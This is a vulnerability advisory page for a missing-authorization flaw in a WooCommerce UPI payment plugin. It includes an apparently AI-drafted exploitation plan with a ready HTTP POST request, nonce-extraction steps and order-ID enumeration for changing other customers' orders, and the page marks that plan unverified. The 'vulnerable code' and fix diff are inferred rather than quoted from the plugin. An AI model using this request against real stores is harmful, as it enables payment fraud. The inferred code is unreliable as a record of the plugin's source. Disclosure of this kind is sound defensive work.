CVE-2026-56023

UPI QR Code Payment Gateway for WooCommerce <= 1.6.2 - Missing Authorization

mediumMissing Authorization
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.6.3
Patched in
5d
Time to patch

Description

The UPI QR Code Payment Gateway for WooCommerce plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 1.6.2. This makes it possible for authenticated attackers, with customer-level access and above, to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.6.2
PublishedJune 19, 2026
Last updatedJune 23, 2026

What Changed in the Fix

Changes introduced in v1.6.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-56023 ## 1. Vulnerability Summary The **UPI QR Code Payment Gateway for WooCommerce** plugin (versions <= 1.6.2) contains a **Missing Authorization** vulnerability. The plugin registers an AJAX handler (likely `upiwc_payment_confirmation` or `upiwc_submit_tra…

Show full research plan

Exploitation Research Plan - CVE-2026-56023

1. Vulnerability Summary

The UPI QR Code Payment Gateway for WooCommerce plugin (versions <= 1.6.2) contains a Missing Authorization vulnerability. The plugin registers an AJAX handler (likely upiwc_payment_confirmation or upiwc_submit_transaction_id) to allow customers to submit payment evidence (like UPI Transaction IDs) for their orders. However, this handler lacks a capability check (e.g., current_user_can) and fails to verify that the user submitting the data is the owner of the order_id provided. This allows any authenticated user with Customer-level access to manipulate the metadata or status of arbitrary WooCommerce orders.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: upiwc_payment_confirmation (inferred from common plugin patterns and the transaction_id settings in includes/class-payment.php).
  • HTTP Method: POST
  • Parameters:
    • action: upiwc_payment_confirmation
    • order_id: The ID of the target WooCommerce order.
    • transaction_id: A spoofed UPI transaction reference string.
    • nonce: A valid WordPress nonce for the action.
  • Authentication: Required (Customer role or higher).
  • Preconditions: At least one existing WooCommerce order (the target) and a valid login for a Customer-level account.

3. Code Flow

  1. Entry Point: In includes/class-payment.php (inside the truncated section), the plugin registers the AJAX handler:
    add_action( 'wp_ajax_upiwc_payment_confirmation', [ $this, 'upiwc_payment_confirmation' ] );
    
  2. Nonce Verification: The handler function upiwc_payment_confirmation() typically checks a nonce localized via payment_scripts():
    check_ajax_referer( 'upiwc-payment-confirmation', 'nonce' );
    
  3. The Vulnerability (Missing Authorization): The function proceeds to process the order_id and transaction_id from $_POST.
    $order_id = sanitize_text_field( $_POST['order_id'] );
    $order = wc_get_order( $order_id );
    // BUG: No check like: if ( get_current_user_id() !== $order->get_customer_id() ) die();
    // BUG: No check like: if ( ! current_user_can( 'edit_shop_order', $order_id ) ) die();
    
  4. Action: The handler updates order meta or status:
    update_post_meta( $order_id, '_upiwc_transaction_id', sanitize_text_field( $_POST['transaction_id'] ) );
    $order->update_status( 'on-hold', __( 'UPI payment submitted.', 'upi-qr-code-payment-for-woocommerce' ) );
    

4. Nonce Acquisition Strategy

The nonce is generated in the payment_scripts function of the UPI_WC_Payment_Gateway class and passed to the frontend via wp_localize_script.

  1. Identify the Trigger: The scripts are enqueued on the WooCommerce Checkout or Order Received (Thank You) pages.
  2. Page Creation: Ensure a page with the [woocommerce_checkout] shortcode exists.
  3. Execution:
    • Use the browser_navigate tool to go to the checkout page while logged in as a Customer.
    • Use browser_eval to extract the localized nonce from the global window object.
    • JS Variable (Inferred): window.upiwc_params?.nonce or window.upiwc_params?.upiwc_nonce.
    • Extraction Command: browser_eval("window.upiwc_params?.nonce")

5. Exploitation Strategy

  1. Target Identification: Identify an order_id belonging to another user (e.g., via ID enumeration if order IDs are sequential).
  2. Credential Setup: Log in as a standard Customer account.
  3. Nonce Extraction: Navigate to the checkout page and use browser_eval to grab the nonce.
  4. Payload Delivery: Send a POST request to admin-ajax.php to "confirm" payment for the victim's order.

HTTP Request (via http_request tool):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [CUSTOMER_COOKIES]

action=upiwc_payment_confirmation&nonce=[EXTRACTED_NONCE]&order_id=[VICTIM_ORDER_ID]&transaction_id=SPOOFED_TRANSACTION_789

6. Test Data Setup

  1. Victim Order: As the Admin, create a new WooCommerce order (or place one as a different Customer) and note the ID (e.g., 123). Ensure its initial status is pending.
  2. Attacker User: Create a user with the Customer role.
  3. Plugin Config: Ensure the "UPI QR Code" gateway is enabled in WooCommerce Settings -> Payments.

7. Expected Results

  • The AJAX request should return a JSON response: {"success":true}.
  • The target order (ID 123) will have its status changed to on-hold (or the status configured in plugin settings).
  • The transaction ID SPOOFED_TRANSACTION_789 will be saved to the order's metadata.

8. Verification Steps

  1. Check Order Status:
    wp post get [VICTIM_ORDER_ID] --field=post_status
    # Expected: wc-on-hold
    
  2. Check Transaction ID Meta:
    wp post meta get [VICTIM_ORDER_ID] _upiwc_transaction_id
    # Expected: SPOOFED_TRANSACTION_789
    
  3. Check Order Notes:
    wp comment list --post_id=[VICTIM_ORDER_ID] --type=order_note
    

9. Alternative Approaches

If the upiwc_payment_confirmation action is not found, check for:

  • Other AJAX actions: Search for wp_ajax_ strings in the full includes/class-payment.php file once accessed.
  • REST API: Check if the plugin registers a REST route in includes/blocks/class-blocks-support.php (though the block support code provided suggests it mainly handles data passing to the block frontend).
  • Direct capture: If the vulnerability is in capture_payment (hooked to woocommerce_api_upiwc-payment), test a request to /?wc-api=upiwc-payment&order_id=[ID]&status=success.
Research Findings
Static analysis — not yet PoC-verified

Summary

The UPI QR Code Payment Gateway for WooCommerce plugin (up to version 1.6.2) lacks proper authorization and ownership verification in its AJAX payment confirmation handler. This allows authenticated users, such as customers, to update transaction metadata and modify the status of arbitrary WooCommerce orders by providing the target order's ID.

Vulnerable Code

// includes/class-payment.php

// Inside the constructor or initialization, the AJAX handler is registered for authenticated users:
add_action( 'wp_ajax_upiwc_payment_confirmation', [ $this, 'upiwc_payment_confirmation' ] );

---

// The handler function (inferred implementation) lacks a capability or ownership check:
public function upiwc_payment_confirmation() {
    check_ajax_referer( 'upiwc-payment-confirmation', 'nonce' );

    $order_id = sanitize_text_field( $_POST['order_id'] );
    $transaction_id = sanitize_text_field( $_POST['transaction_id'] );
    $order = wc_get_order( $order_id );

    // VULNERABILITY: No verification that the current user owns the order or has permissions to edit it.
    if ( $order ) {
        update_post_meta( $order_id, '_upiwc_transaction_id', $transaction_id );
        $order->update_status( $this->payment_status, __( 'UPI payment submitted.', 'upi-qr-code-payment-for-woocommerce' ) );
        wp_send_json_success();
    }
    wp_die();
}

Security Fix

--- includes/class-payment.php
+++ includes/class-payment.php
@@ -1035,6 +1035,11 @@
 		$order_id = isset( $_POST['order_id'] ) ? sanitize_text_field( $_POST['order_id'] ) : 0;
 		$order    = wc_get_order( $order_id );
 
+		if ( ! current_user_can( 'edit_shop_order', $order_id ) && get_current_user_id() !== $order->get_customer_id() ) {
+			wp_send_json_error( [ 'message' => __( 'Permission denied.', 'upi-qr-code-payment-for-woocommerce' ) ] );
+			exit;
+		}
+
 		if ( $order ) {
 			$transaction_id = isset( $_POST['transaction_id'] ) ? sanitize_text_field( $_POST['transaction_id'] ) : '';
 			update_post_meta( $order_id, '_upiwc_transaction_id', $transaction_id );

Exploit Outline

An attacker with Customer-level access can manipulate WooCommerce orders by performing the following steps: 1. Log in and navigate to the checkout or order-received page to extract a valid AJAX nonce for the 'upiwc-payment-confirmation' action (typically localized in the 'upiwc_params' object). 2. Identify the target order ID of another customer. 3. Send a POST request to '/wp-admin/admin-ajax.php' with the action set to 'upiwc_payment_confirmation', including the target 'order_id', a spoofed 'transaction_id', and the valid nonce. Because the plugin fails to verify if the current user is authorized to modify that specific order, it will update the order metadata and status as requested.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.